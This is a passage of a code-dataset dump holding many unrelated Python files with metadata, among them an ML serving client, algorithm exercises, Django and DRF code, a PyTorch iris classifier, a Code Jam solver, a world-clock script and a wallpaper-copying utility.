--local --daemon --out ./output.jpg ./input.png')\n elif args_parsered.local and not args_parsered.daemon:\n parser = argparse.ArgumentParser(\n description='Client for Tensorflow Serving of Mask RCNN (local mode)',\n epilog='使用例:./tf_detection.py --local --out ./output.jpg ./input.png')\n parser.add_argument('file', metavar='FILE', help='待处理的图像文件路径')\n elif not args_parsered.local and args_parsered.daemon:\n parser = argparse.ArgumentParser(\n description='Client for Tensorflow Serving of Mask RCNN (daemon mode)',\n epilog='使用例:./tf_detection.py --daemon --out ./output.jpg 127.0.0.1 ./input.png')\n parser.add_argument('host', metavar='(DOMAIN|IP)', help='服务器域名或 IP')\n parser.add_argument('-p', '--port', metavar='PORT',\n default='8500', help='通信端口(默认:8500)')\n else:\n parser = argparse.ArgumentParser(\n description='Client for Tensorflow Serving of Mask RCNN',\n epilog='使用例:./tf_detection.py --out ./output.jpg 127.0.0.1 ./input.png')\n parser.add_argument('host', metavar='(DOMAIN|IP)', help='服务器域名或 IP 地址')\n parser.add_argument('-p', '--port', metavar='PORT',\n default='8500', help='通信端口(默认:8500)')\n parser.add_argument('file', metavar='FILE', help='待处理的图像文件路径')\n\n\n parser.add_argument('--local', action='store_true',\n help='本地模式(默认客户端模式)')\n parser.add_argument('--model-path', metavar='PATH', dest='model_path',\n default='keras_model/mask_rcnn_coco.h5', help='模型文件路径(默认:keras_model/mask_rcnn_coco.h5)')\n parser.add_argument('--gpus', metavar='NUM',\n default=0, help='使用的 GPU 数量(默认:0)')\n parser.add_argument('--gui', action='store_true',\n help='启动图形界面(所有命令行参数都将失效)')\n parser.add_argument('-o', '--out', metavar='OUTPUT',\n default=None, help='处理后的图像文件输出路径(不指定则输出到屏幕)')\n parser.add_argument('--width', metavar='PIXEL', type=int,\n default=1920, help='输出图像的宽度(单位:px,默认:1920)')\n parser.add_argument('--height', metavar='PIXEL', type=int,\n default=1080, help='输出图像的高度(单位:px,默认:1080)')\n parser.add_argument('--dpi', metavar='DPI', type=int,\n default=96, help='输出图像的DPI(默认:96)')\n parser.add_argument('-d', '--daemon', action='store_true',\n help='启用 Socket 监听(注:如果传递的数据中包含中文,必须使用 UTF-8 编码)')\n parser.add_argument('--sockip', metavar='IP',\n default='127.0.0.1', help='Socket 监听地址(默认:127.0.0.1)')\n parser.add_argument('--sockport', metavar='PORT', type=int,\n default=8912, help='Socket 监听端口(默认:8912)')\n parser.add_argument('-v', '--verbose', action='count',\n default=0, help='调试等级,可多次指定')\n global args; args = parser.parse_intermixed_args()\n if args.out:\n args.out = os.path.abspath(args.out)\n else:\n args.out = None\n\n global model_obj\n if args.local:\n # TODO 用户必须手动创建好所有目录,不然会报错 -> 自动创建所有目录\n # Download COCO trained weights from Releases if needed\n if not os.path.exists(args.model_path):\n from mrcnn import utils\n utils.download_trained_weights(args.model_path)\n model_obj = model_initial()\n else:\n model_obj = model_initial(args.host + ':' + args.port)\n\n if args.daemon:\n if args.verbose > 0:\n print('launching socket server...')\n with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as serversock:\n serversock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n serversock.bind((args.sockip, args.sockport))\n serversock.listen(5) # become a server socket\n print('listening on:', (args.sockip, args.sockport))\n serversock.setblocking(False)\n sel.register(serversock, selectors.EVENT_READ, data=None)\n\n while True:\n events = sel.select(timeout=None)\n for key, mask in events:\n if key.data is None:\n accept_wrapper(key.fileobj)\n else:\n service_connection(key, mask)\n else:\n clientCLI(args.file, args.out)\n\nif __name__ == '__main__':\n sel = selectors.DefaultSelector()\n entry()\n","sub_path":"tf_detection.py","file_name":"tf_detection.py","file_ext":"py","file_size_in_byte":11264,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"596236811","text":"# Given an integer array nums, find the contiguous subarray\n# (containing at least one number) which has the largest sum\n# and return its sum.\n\n# Example:\n\n# Input: [-2,1,-3,4,-1,2,1,-5,4],\n# Output: 6\n# Explanation: [4,-1,2,1] has the largest sum = 6.\n\n# return an array with the max sum and the array of values to get the sum\n\n\ndef maxSubIncreasingSubSequence(nums):\n dp = [None for x in nums]\n sums = nums[:]\n maxSumIdx = 0\n for i in range(len(nums)):\n currNum = nums[i]\n for j in range(0, i):\n otherNum = nums[j]\n if otherNum < currNum and (sums[j] + currNum) >= sums[i]:\n sums[i] = sums[j] + currNum\n dp[i] = j\n if sums[i] >= sums[maxSumIdx]:\n maxSumIdx = i\n return [sums[maxSumIdx], buildSequence(nums, dp, maxSumIdx)]\n\n\ndef buildSequence(nums, dp, currIdx):\n res = []\n while currIdx is not None:\n res.append(nums[currIdx])\n currIdx = dp[currIdx]\n return list(reversed(res))\n\n\nprint(maxSubIncreasingSubSequence([-2, 1, -3, 4, -1, 2, 1, -5, 4])) # 7\nprint(maxSubIncreasingSubSequence([10, 9, 2, 5, 3, 7, 101, 18])) # 115\n","sub_path":"DynamicProgramming/MaxSumIncreasingSubsequence.py","file_name":"MaxSumIncreasingSubsequence.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"119569313","text":"from abc import ABCMeta\r\nfrom abc import abstractmethod\r\nfrom collections import OrderedDict\r\n\r\nimport ddsv\r\n\r\nclass SharedVars(ddsv.SharedVarsInterface):\r\n _cnt_of_max = 1\r\n\r\n def __init__(self, process_list):\r\n self.mutex = False\r\n self.cond = OrderedDict({ p:False for p in process_list })\r\n self.count = 0\r\n\r\n def clone(self):\r\n p_list = self.cond.keys()\r\n dst = SharedVars(p_list)\r\n dst.mutex = self.mutex\r\n for p in self.cond.keys():\r\n dst.cond[p] = self.cond[p]\r\n dst.count = self.count\r\n return dst\r\n\r\n def equal(self, target):\r\n return target.mutex == self.mutex and target.cond == self.cond and target.count == self.count\r\n\r\n def to_str(self):\r\n m = 1 if self.mutex else 0\r\n cv = sum([ 2 ** i for i, key in enumerate(self.cond.keys()) if self.cond[key] ])\r\n return 'm={0} cv={1} c={2}'.format(m, cv, self.count)\r\n\r\n def to_graph_str(self):\r\n return self.to_str()\r\n\r\n#----------\r\n\r\nclass GuardLock(ddsv.Guard):\r\n def exec(self, process, state):\r\n return not state.shared_vars.mutex\r\n\r\nclass ActionLock(ddsv.Action):\r\n def exec(self, process, dest, src):\r\n dest.shared_vars.mutex = True\r\n\r\nclass ActionUnlock(ddsv.Action):\r\n def exec(self, process, dest, src):\r\n dest.shared_vars.mutex = False\r\n\r\n#----------\r\n\r\nclass GuardNotEmpty(ddsv.Guard):\r\n def exec(self, process, state):\r\n return 0 < state.shared_vars.count\r\n\r\nclass GuardNotFull(ddsv.Guard):\r\n def exec(self, process, state):\r\n return state.shared_vars.count < SharedVars._cnt_of_max\r\n\r\nclass GuardEmpty(ddsv.Guard):\r\n def exec(self, process, state):\r\n return state.shared_vars.count == 0\r\n\r\nclass GuardFull(ddsv.Guard):\r\n def exec(self, process, state):\r\n return state.shared_vars.count == SharedVars._cnt_of_max\r\n\r\nclass GuardReady(ddsv.Guard):\r\n def exec(self, process, state):\r\n return not state.shared_vars.cond[process]\r\n\r\nclass ActionWait(ddsv.Action):\r\n def exec(self, process, dest, src):\r\n dest.shared_vars.mutex = False\r\n dest.shared_vars.cond[process] = True\r\n\r\nclass ActionSignal(ddsv.Action):\r\n def exec(self, process, dest, src):\r\n ks = [ k for k in src.shared_vars.cond if src.shared_vars.cond[k] ]\r\n if len(ks) != 0:\r\n dest.shared_vars.cond[ks[0]] = False\r\n\r\nclass ActionInc(ddsv.Action):\r\n def exec(self, process, dest, src):\r\n dest.shared_vars.count = src.shared_vars.count + 1\r\n\r\nclass ActionDec(ddsv.Action):\r\n def exec(self, process, dest, src):\r\n dest.shared_vars.count = src.shared_vars.count - 1\r\n\r\n#----------\r\n\r\np_state_trans_list = [\r\n ddsv.StateTransition('0', [ddsv.Transition('lock', '1', GuardLock(), ActionLock())]),\r\n ddsv.StateTransition('1', [ddsv.Transition('wait', '2', GuardFull(), ActionWait()),\r\n ddsv.Transition('produce', '3', GuardNotFull(), ActionInc())]),\r\n ddsv.StateTransition('2', [ddsv.Transition('wakeup', '0', GuardReady(), ddsv.ActionNop())]),\r\n ddsv.StateTransition('3', [ddsv.Transition('signal', '4', ddsv.GuardTrue(), ActionSignal())]),\r\n ddsv.StateTransition('4', [ddsv.Transition('unlock', '0', ddsv.GuardTrue(), ActionUnlock())])\r\n]\r\n\r\nq_state_trans_list = [\r\n ddsv.StateTransition('0', [ddsv.Transition('lock', '1', GuardLock(), ActionLock())]),\r\n ddsv.StateTransition('1', [ddsv.Transition('wait', '2', GuardEmpty(), ActionWait()),\r\n ddsv.Transition('consume', '3', GuardNotEmpty(), ActionDec())]),\r\n ddsv.StateTransition('2', [ddsv.Transition('wakeup', '0', GuardReady(), ddsv.ActionNop())]),\r\n ddsv.StateTransition('3', [ddsv.Transition('signal', '4', ddsv.GuardTrue(), ActionSignal())]),\r\n ddsv.StateTransition('4', [ddsv.Transition('unlock', '0', ddsv.GuardTrue(), ActionUnlock())])\r\n]\r\n\r\nP = ddsv.Process('P', p_state_trans_list)\r\nQ = ddsv.Process('Q', q_state_trans_list)\r\nR = ddsv.Process('R', q_state_trans_list)\r\n\r\nprocess_list = [P, Q, R]\r\nshared_vars = SharedVars(process_list)\r\n\r\nlts_tbl = ddsv.concurrent_composition(process_list, shared_vars, 'm_prod_cons2')\r\nlts_tbl.save_graph('m_prod_cons2')\r\n","sub_path":"ddsv/src/python/m_prod_cons2.py","file_name":"m_prod_cons2.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"339431929","text":"from datetime import datetime, timezone\nfrom io import BytesIO\n\nimport factory\nimport pytest\nfrom django.core.management import call_command\nfrom freezegun import freeze_time\nfrom reversion.models import Version\n\nfrom datahub.company.test.factories import CompanyFactory\n\npytestmark = pytest.mark.django_db\n\n\ndef test_run(s3_stubber, caplog):\n \"\"\"Test that the command updates the specified records (ignoring ones with errors).\"\"\"\n caplog.set_level('ERROR')\n\n original_datetime = datetime(2017, 1, 1, tzinfo=timezone.utc)\n\n with freeze_time(original_datetime):\n company_numbers = ['123', '456', '466879', '', None]\n companies = CompanyFactory.create_batch(\n 5,\n company_number=factory.Iterator(company_numbers),\n )\n\n bucket = 'test_bucket'\n object_key = 'test_key'\n csv_content = f\"\"\"id,company_number\n00000000-0000-0000-0000-000000000000,123456\n{companies[0].pk},012345\n{companies[1].pk},456\n{companies[2].pk},null\n{companies[3].pk},087891\n{companies[4].pk},087892\n\"\"\"\n\n s3_stubber.add_response(\n 'get_object',\n {\n 'Body': BytesIO(csv_content.encode(encoding='utf-8')),\n },\n expected_params={\n 'Bucket': bucket,\n 'Key': object_key,\n },\n )\n\n with freeze_time('2018-11-11 00:00:00'):\n call_command('update_company_company_number', bucket, object_key)\n\n for company in companies:\n company.refresh_from_db()\n\n assert 'Company matching query does not exist' in caplog.text\n assert len(caplog.records) == 1\n\n assert [company.company_number for company in companies] == [\n '012345', '456', '', '087891', '087892',\n ]\n assert all(company.modified_on == original_datetime for company in companies)\n\n\ndef test_simulate(s3_stubber, caplog):\n \"\"\"Test that the command simulates updates if --simulate is passed in.\"\"\"\n caplog.set_level('ERROR')\n\n company_numbers = ['123', '456', '466879', '', None]\n companies = CompanyFactory.create_batch(\n 5,\n company_number=factory.Iterator(company_numbers),\n )\n\n bucket = 'test_bucket'\n object_key = 'test_key'\n csv_content = f\"\"\"id,company_number\n00000000-0000-0000-0000-000000000000,123456\n{companies[0].pk},012345\n{companies[1].pk},456\n{companies[2].pk},null\n{companies[3].pk},087891\n{companies[4].pk},087892\n\"\"\"\n\n s3_stubber.add_response(\n 'get_object',\n {\n 'Body': BytesIO(csv_content.encode(encoding='utf-8')),\n },\n expected_params={\n 'Bucket': bucket,\n 'Key': object_key,\n },\n )\n\n call_command('update_company_company_number', bucket, object_key, simulate=True)\n\n for company in companies:\n company.refresh_from_db()\n\n assert 'Company matching query does not exist' in caplog.text\n assert len(caplog.records) == 1\n\n assert [company.company_number for company in companies] == company_numbers\n\n\ndef test_audit_log(s3_stubber):\n \"\"\"Test that reversion revisions are created.\"\"\"\n company_without_change = CompanyFactory(\n company_number='132589',\n )\n company_with_change = CompanyFactory(\n company_number='566489',\n )\n\n bucket = 'test_bucket'\n object_key = 'test_key'\n csv_content = f\"\"\"id,company_number\n{company_without_change.pk},132589\n{company_with_change.pk},0566489\n\"\"\"\n\n s3_stubber.add_response(\n 'get_object',\n {\n 'Body': BytesIO(csv_content.encode(encoding='utf-8')),\n },\n expected_params={\n 'Bucket': bucket,\n 'Key': object_key,\n },\n )\n\n call_command('update_company_company_number', bucket, object_key)\n\n versions = Version.objects.get_for_object(company_without_change)\n assert versions.count() == 0\n\n versions = Version.objects.get_for_object(company_with_change)\n assert versions.count() == 1\n assert versions[0].revision.get_comment() == 'Company number updated.'\n","sub_path":"datahub/dbmaintenance/test/commands/test_update_company_company_number.py","file_name":"test_update_company_company_number.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"111143140","text":"from rest_framework.views import APIView\nfrom rest_framework.generics import ListAPIView\nfrom rest_framework.renderers import TemplateHTMLRenderer\nfrom rest_framework.response import Response\nfrom rest_framework import status\n\nfrom .models import FileUpload, URLUpload\nfrom .serializers import FileUploadSerializer, URLUploadSerializer\nfrom .services import FileUploadService, URLUploadService\n\nclass UploadView(ListAPIView):\n queryset = FileUpload.objects.all()\n serializer_class = FileUploadSerializer\n def get(self, request):\n queryset = self.get_queryset()\n serializer = FileUploadSerializer(queryset, many=True)\n return Response(serializer.data)\n\nclass UploadFileView(APIView):\n def post(self, request):\n serializer = FileUploadSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n FileUploadService.parse_file_type(request.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n else:\n FileUploadService.remove_media_file()\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\nclass UploadURLView(APIView):\n def post(self, request):\n serializer = URLUploadSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n URLUploadService.parse_url(request.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n else:\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)","sub_path":"backend/corpora/apps/uploads/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1561,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"612528857","text":"# hw3.py\n# Wilson Wu\n\n\n#Required exercises: 4.24, 4.25, 4.26, 4,28, 4.31\n\n\n###4.24\n\ndef cheer(x):\n s1 = \"How do you spell winner?\\nI know, I know!\"\n s2 = '\\n'+x\n s3=\"!\\nAnd that's how you spell winner!\\nGo {}!\".format(x)\n print(s1)\n for word in x.upper():\n print(word, end=' ' )\n print(s3)\n \n#4.25\n \ndef vowelCount(word):\n s = 'a, e, i, o, and u appear, respectively, {}, {}, {}, {}, {} times.'.format(word.count('a'),word.count('e'),word.count('i'),word.count('o'),word.count('u'))\n print(s)\n\n#4.26\n \ndef crypto(file):\n infile = open( file,'r')\n contents = infile.read().replace('secret','xxxxxx')\n infile.close()\n print(contents)\n\n\n\n#4.28\ndef links(html):\n infile = open(html,'r')\n contents = infile.read()\n num = contents.split().count('link')\n infile.close()\n return(num)\n\n#4.31\n \ndef duplicate(filename):\n infile = open(filename,'r')\n contents = infile.read().split()\n infile.close()\n for word in contents:\n dup = contents.count(word)\n if dup != 1:\n return (True)\n \n return (False)\n\n\nif __name__=='__main__':\n import doctest\n print( doctest.testfile('hw3TEST.py'))\n","sub_path":"hw3.py","file_name":"hw3.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"410235801","text":"class Modele():\n def __init__(self,parent):\n self.parent=parent \n \n def inscrireusager(self,dictinfo, courriel):\n self.droit=dictinfo[0][0][7]\n self.role=dictinfo[0][0][6]\n self.nom=dictinfo[0][0][4]\n self.prenom=dictinfo[0][0][3] \n self.compagnie={\"nom\":dictinfo[1][0][1],\"responsable\":dictinfo[1][0][2],\n \"forfait\": dictinfo[1][0][4], \"nbUsagers\": dictinfo[1][0][5], \"id\": dictinfo[1][0][0]}\n self.courriel = courriel\n","sub_path":"Livrables/Modèlisation/SPRINT-2_CarolineEmondSerret_FrancoisLapierre_DanyViens/src/CLIENT/modele.py","file_name":"modele.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"481607283","text":"#import modules\nimport os\nimport logging\n\n\n#detecting drives present\n\ndef mydrive():\n drives=[]\n for x in range(65,91):\n if os.path.exists(chr(x)+\":\"):\n drives.append(chr(x))\n print(\"all drives in my computer are: \",drives)\n return drives\n\nif __name__=='__main__':\n systemdrives=mydrive()\n try:\n print(systemdrives)\n except Exception as Argument:\n logging.exception(\"Error occured while detecting systemdrives\")","sub_path":"drives.py","file_name":"drives.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"197988914","text":"import os\nimport time\nimport math\nimport pymongo\n\nclass MongoDatastore():\n\tdef __init__(self, connection_uri, connection_port, database_name, collection_name):\n\t\tself.client = pymongo.MongoClient(connection_uri, connection_port)\n\t\tself.db = self.client[database_name]\n\t\tself.collection = self.db[collection_name]\n\n\tdef save_record(self, filename):\n\t\t# get timestamp and shorten to match the length of the timestamp available in javascript\n\t\ttimestamp = int(str(time.time()).replace('.', '')[0:13])\n\t\trecord = {\n\t\t\t\"filename\": filename,\n\t\t\t\"timestamp\": timestamp,\n\t\t\t\"isFall\": True\n\t\t}\n\t\t# save the record\n\t\tself.collection.insert_one(record)\n\n\tdef get_most_recent_record(self):\n\t\ttry:\n\t\t\treturn self.collection.find({}).sort('timestamp', pymongo.DESCENDING)[0]\n\t\texcept:\n\t\t\treturn None\n\n\tdef update_record(self, timestamp):\n\t\ttry:\n\t\t\t# find the record with the matching timestamp and set it's isFall value to false\n\t\t\tself.collection.update_one({'timestamp': timestamp}, {\"$set\": {\"isFall\": False}}, upsert=False)\n\t\texcept Exception as ex:\n\t\t\tprint(ex)\n","sub_path":"mongo_datastore.py","file_name":"mongo_datastore.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"422886891","text":"import torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport time\r\n\r\nusingcuda = False\r\n\r\nclass Model(nn.Module):\r\n def __init__(self, in_features=4, h1=100, h2=100, out_features=3):\r\n super().__init__()\r\n self.fc1 = nn.Linear(in_features, h1)\r\n self.fc2 = nn.Linear(h1, h2)\r\n self.out = nn.Linear(h2, out_features)\r\n \r\n def forward(self, x):\r\n x = F.relu(self.fc1(x))\r\n x = F.relu(self.fc2(x))\r\n x = self.out(x)\r\n return x\r\n \r\nif usingcuda:\r\n model = Model().cuda()\r\nelse:\r\n model = Model()\r\n \r\n#torch.manual_seed(32)\r\n\r\ndf = pd.read_csv('D:/School/Y2S1/CS3244 Machine Learning/PYTORCH_NOTEBOOKS/Data/iris.csv')\r\n\r\nX = df.drop('target', axis=1)\r\ny = df['target']\r\nX = X.values\r\ny = y.values\r\n \r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.5)\r\n\r\nif usingcuda:\r\n X_train = torch.Tensor(X_train).cuda()\r\n X_test = torch.Tensor(X_test).cuda()\r\n y_train = torch.LongTensor(y_train).cuda()\r\n y_test = torch.LongTensor(y_test).cuda()\r\n crit = nn.CrossEntropyLoss().cuda()\r\n\r\nelse:\r\n X_train = torch.Tensor(X_train)\r\n X_test = torch.Tensor(X_test)\r\n y_train = torch.LongTensor(y_train)\r\n y_test = torch.LongTensor(y_test)\r\n crit = nn.CrossEntropyLoss()\r\n \r\nprint(y_test.device)\r\n\r\nopti = torch.optim.Adam(model.parameters(), lr=0.001)\r\nep = 1000\r\nstartn = 0\r\nlosses = []\r\nlossesoos = []\r\n\r\nstart = time.time()\r\n\r\nfor epoch in range(ep):\r\n cost = crit(model.forward(X_train), y_train)\r\n outofsample = crit(model.forward(X_test), y_test)\r\n if epoch%50 == 0:\r\n losses.append(cost)\r\n lossesoos.append(outofsample)\r\n opti.zero_grad()\r\n cost.backward()\r\n opti.step()\r\n #print(epoch)\r\n\r\nplt.plot(range(len(losses))[startn:], losses[startn:], label='training data')\r\nplt.plot(range(len(losses))[startn:], lossesoos[startn:], 'r', label='test data')\r\nplt.xlabel('Training Generations')\r\nplt.ylabel('Error Function')\r\nplt.legend()\r\n\r\nprint(\"--- %.3fs seconds ---\" % (time.time() - start))","sub_path":"Iris Neural Net.py","file_name":"Iris Neural Net.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"20663369","text":"from reader import *\r\n\r\nPROBLEM_LETTER = 'C'\r\nPROBLEM_SIZE = 'small'\r\n\r\nPROBLEM_PREFIX = PROBLEM_LETTER + '-' + PROBLEM_SIZE\r\nINFILE = 'io/' + PROBLEM_PREFIX + '.in'\r\nOUTFILE = 'io/' + PROBLEM_PREFIX + '.out'\r\n\r\n# INFILE = 'io/test'\r\n# OUTFILE = 'io/test.out'\r\n\r\ndef go():\r\n with open(INFILE, 'r') as fin, open(OUTFILE, 'w') as fout:\r\n T = readLineAsInt(fin)\r\n\r\n for i in range(T):\r\n N, J = readLineAsIntArr(fin)\r\n print(N)\r\n print(J)\r\n\r\n a = answer(N,J)\r\n # ans_str = '{}'.format(a)\r\n \r\n case_num = i + 1\r\n fout.write('Case #{}:\\n'.format(case_num))\r\n for line in a:\r\n fout.write(line)\r\n fout.write('\\n')\r\n\r\nBASES = [2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\r\ndef answer(n, j):\r\n lines = []\r\n for coin, factors in produce(n,j):\r\n line = coin + ' ' + ' '.join(map(str,factors))\r\n lines.append(line)\r\n return lines\r\n\r\n# coin: string of jamcoin\r\n# divisors: array of verifying divisors\r\ndef verify(coin, divisors):\r\n assert len(divisors) == len(BASES)\r\n\r\n for base, divisor in zip(BASES, divisors):\r\n num = int(coin, base)\r\n assert divisor > 1\r\n assert divisor < num\r\n if num % divisor != 0:\r\n return False\r\n\r\n return True\r\n\r\ndef produce(n, limit):\r\n assert n % 2 == 0\r\n assert n >= 16\r\n half = n // 2\r\n k = half - 2\r\n assert 2**k >= limit\r\n format_str = '{0:0' + str(k) + 'b}'\r\n factors = [1+b**half for b in BASES]\r\n # print(factors)\r\n for i in range(limit):\r\n s = format_str.format(i)\r\n part = '1' + s + '1'\r\n coin = part + part\r\n assert verify(coin,factors)\r\n yield (coin, factors)\r\n\r\n\r\nif __name__ == '__main__':\r\n pass\r\n go()\r\n # for coin, factors in produce(16, 50):\r\n # print(coin)\r\n\r\n # for coin, factors in produce(32, 500):\r\n # print(coin)\r\n # print(verify('100011', [5,13,147,31,43,1121,73,77,629]))","sub_path":"solutions_5738606668808192_1/Python/HRoll/c.py","file_name":"c.py","file_ext":"py","file_size_in_byte":1827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"171730828","text":"print(\"\"\" \n ******************************************************************************\n HORAS EN EL MUNDO, SELECCIONA EN QUE LUGAR DEL MUNDO QUIERES SABER QUE HORA ES\n ****************************************************************************** \"\"\")\nprint('')\n\n# Importamos los modulos necesarios para usar el tiempo\nfrom datetime import datetime, date, time, timedelta\nimport calendar\n\n# Importamos el modulo para crear la tabla\nfrom terminaltables import AsciiTable\n\n# Importamos el modulo os para limpiar la pantalla\nimport os\n\n# Declaramos la variables a usar para encontrarlas facilmente\nchoice=''\npausa=''\nreloj=datetime.now() # Objeto datetime.now para usar despues\n\n# Creamos el contenido de la tabla\ntable_data=[\n ['Codigo', 'Pais'],\n ['SPA', 'España'],\n ['NZ', 'Nueva Zelanda'],\n ['VE', 'Venezuela'],\n ['AL', 'Alemania'],\n ['FRA', 'Francia'],\n ['ING', 'Inglaterra'],\n ['MR', 'Marruecos'],\n ['NOR', 'Noruega'],\n ['BOL', 'Bolivia'],\n ['FIL', 'Filipinas'],\n ['NEP', 'Nepal'],\n ['EXIT', 'Salir']\n]\n\n# Instanciamos table como un tipo AsciiTable\ntable=AsciiTable(table_data)\n\n# Funcion para añadir o restar horas a la actual\ndef modificador(x):\n r=datetime.now()\n h=r+timedelta(hours=x)\n h=time(h.hour,h.minute,h.second)\n return h\n\nwhile True:\n\n # Mostramos la hora local en pantalla\n print('La hora actual es ',time(reloj.hour,reloj.minute,reloj.second))\n \n print('')\n\n print('Elige del listado, en que lugar del mundo quieres saber la hora:')\n\n print('')\n \n # Imprimimos en pantalla la tabla previamente creada\n print(table.table)\n \n print('')\n\n # Ofrecemos que el usuario elija un pais\n choice=input('Haz tu seleccion: ')\n print('')\n # Segun la eleccion del usuario se mostrara la hora en un pais o en otro\n if choice=='NZ':\n print('La hora en Nueva Zelanda es ', modificador(-13))\n elif choice=='SPA':\n print('La hora en España es ', time(reloj.hour,reloj.minute,reloj.second))\n elif choice=='VE':\n print('La hora en Venezuela es ', modificador(-6))\n elif choice=='AL':\n print('La hora en Alemania es ', modificador(0))\n elif choice=='FRA':\n print('La hora en Francia es ', modificador(0))\n elif choice=='ING':\n print('La hora en Inglaterra es ', modificador(-1))\n elif choice=='MR':\n print('la hora en Marruecos es ', modificador(-1))\n elif choice=='NOR':\n print('la hora en Noruega es ', modificador(0))\n elif choice=='BOL':\n print('la hora en Bolivia es ', modificador(-6))\n elif choice=='FIL':\n print('la hora en Filipinas es ', modificador(-18))\n elif choice=='NEP':\n print('la hora en Nepal es ', modificador(+4))\n elif choice=='RUS':\n print('la hora en Rusia es ', modificador(+1))\n elif choice=='SUE':\n print('la hora en Suecia es ', modificador(0))\n elif choice=='PAK':\n print('la hora en Pakistan es ', modificador(+3))\n elif choice=='HON':\n print('la hora en Honduras es ', modificador(-8))\n elif choice=='LET':\n print('la hora en Letonia es ', modificador(+1))\n elif choice=='LAO':\n print('la hora en Laos es ', modificador(-19))\n elif choice=='SUI':\n print('la hora en Suiza es ', modificador(0))\n elif choice=='EXIT':\n break\n # Hacemos una pausa para continuar\n print('')\n pausa=input('Pulsa una tecla')\n # Limpiamos la pantalla, en Windows es os.system('cls') y en Linux es os.system('clear')\n os.system('clear')\n","sub_path":"HoraV2_Linux.py","file_name":"HoraV2_Linux.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"} +{"seq_id":"318307518","text":"\n# python Copy_Rename-v2.3.py\n\n\nimport shutil\nimport os\n\nsource_directory = 'C:\\\\Users\\\\пк\\\\AppData\\\\Local\\\\Packages\\\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\\\LocalState\\\\Assets' # исходная директория\ntarget_directory = 'D:\\\\photo\\\\wallpaper\\\\win10\\\\new' # целевая директория\n\nsource_files = os.listdir(source_directory) # получение списка имен файлов из исходной директории\ntarget_files = os.listdir(target_directory) # получение списка имен файлов из целевой директории\n\nfor each_file in source_files: # поэлементный перебор списка файлов\n\tf_size = os.path.getsize(os.path.join( source_directory, each_file)) # формирование пути к каждому файлу и получение его размера\n\tif f_size > 100000: # условие фильтрации файлов по размеру (в байтах)\n\t\tlist_file_name = list( each_file ) # преобразование имени файла в список\n\t\told_file_name = ''.join( list_file_name ) # сохранение в переменную старого имени файла в виде строки для дальнейшего формироваия пути к нему\n\t\tlist_file_name.append( '.jpg' ) # добавление расширения\n\t\tnew_file_name = ''.join( list_file_name ) # преобр списка с именем файла, в строку\n\t\t\n\t\to_f_m = os.path.join( source_directory, old_file_name ) # формирование пути К копируемому файлу\n\t\tn_f_m = os.path.join( target_directory, new_file_name ) # формирование пути ДЛЯ копируемого файла с новым именем\n\t\t\t\n\t\tif new_file_name not in target_files: # проверка на вхождение\n\t\t\tshutil.copy( o_f_m, n_f_m) # копирование (и переименование) файла\n\t\t\t# os.rename( o_f_m, n_f_m ) # переименование (и перемещение) файла (не катит)\n\n\n# З.Ы.: говоришь документации много не быает?.. )))\n\n","sub_path":"Copy_Rename-v2.3.py","file_name":"Copy_Rename-v2.3.py","file_ext":"py","file_size_in_byte":2221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"92"} +{"seq_id":"563868780","text":"__author__ = '嘉成'\r\n# -*- coding: utf-8 -*\r\n# --------try-------\r\ntry:\r\n print(\"try...\")\r\n r = 10 / 0\r\n print(\"result:\", r)\r\nexcept ZeroDivisionError as e:\r\n print(\"except\", e)\r\nelse:\r\n print(\"no error!\")\r\nfinally:\r\n print('finally....')\r\nprint(\"END\")\r\n\r\n# 当我们认为某些代码可能会出错时,就可以用try来运行这段代码,如果执行出错,则后续代码不会继续执行,而是直接跳转至错误处理代码,即except语句块,执行完except后,如果有finally语句块,则执行finally语句块,至此,执行完毕。\r\n\r\n# 记录错误\r\nprint(\"-\"*20)\r\nimport logging\r\n\r\ndef foo(s):\r\n return 10 / int(s)\r\n\r\ndef bar(s):\r\n return foo(s) * 2\r\n\r\ndef m():\r\n try:\r\n bar(\"0\")\r\n except Exception as e:\r\n logging.exception(e)\r\nm()\r\nprint('END')\r\n# 